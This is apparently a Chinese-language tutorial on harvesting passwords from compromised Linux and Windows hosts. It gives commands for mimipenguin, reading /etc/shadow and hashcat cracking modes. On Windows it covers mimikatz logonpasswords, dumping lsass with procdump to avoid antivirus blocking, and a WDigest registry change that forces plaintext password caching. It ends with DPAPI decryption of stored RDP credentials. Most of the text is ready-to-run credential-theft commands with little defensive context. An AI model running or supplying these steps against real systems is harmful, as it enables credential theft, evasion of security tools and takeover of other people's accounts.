环境

Windows-Mimikatz适用环境:

微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

Linux-mimipenguin适用环境:

1
2
3
4
5
6
7
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

linux密码获取

系统适配:

1
2
3
4
5
6
7
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

1
2
chmod 755 ./mimipenguin.sh
./mimipenguin.sh

密码破解:
1
2
cat /etc/shadow
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt

加密形式:(通过密文前缀判断)

  • linux sha512crypt 6 66, SHA512 (Unix)加密方式:
1
hashcat -m 1800 sha512linux.txt p.txt
  • linux sha256crypt 5 55, SHA256 (Unix)加密方式:
1
hashcat -m 7400 sha256linux.txt p.txt
  • linux下md5crypt, MD5 (Unix), Cisco-IOS 1 11 (MD5)加密方式:
1
hashcat -m 500 linuxmd5.txt p.txt
  • linux下bcrypt $2*$, Blowfish (Unix)加密方式:
1
hashcat -m 3200 linuxmd5.txt p.txt

Windows密码获取

在线读

https://github.com/gentilkiwi/mimikatz

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

离线读

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
实验1:针对防护拦截(Minikatz被拦截)
Procdump是微软官方的工具,可在命令行将lsass导出且杀软不会拦截

1
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
1
2
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

实验2:针对高版本但有存储:管理员登陆过,密码留在了内存中

1
2
3
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

解决高版本

修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码
修改注册表来让Wdigest Auth保存明文口令方式

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

这里模拟用户重新登陆之后,成功抓取明文密码

密码破解

hashcat

1
2
3
4
5
-m 密文类型  
-a 破解类型
?l 小写
?s 符号
?d 数字

RDP凭据抓取

查看连接记录:

1
cmdkey /list

查找本地的Credentials:
1
2
dir /a %userprofile%\appdata\local\microsoft\credentials\*


Credentials记录guidMasterKey值:
1
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B

19d0d4f3-e495-432c-918a-ade1dc76a5e4
找到guidMasterKey对应的MasterKey:

1
mimikatz sekurlsa::dpapi

解密指定的MasterKey凭据:

1
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:9c0ed75255d7b011294cb4944560608667e3a19bdf3ee5b0f1a58775a96e3c48aa8e5f2070bb65f774f401b13e548e99181c20dd29a7952c31031e754f59efd2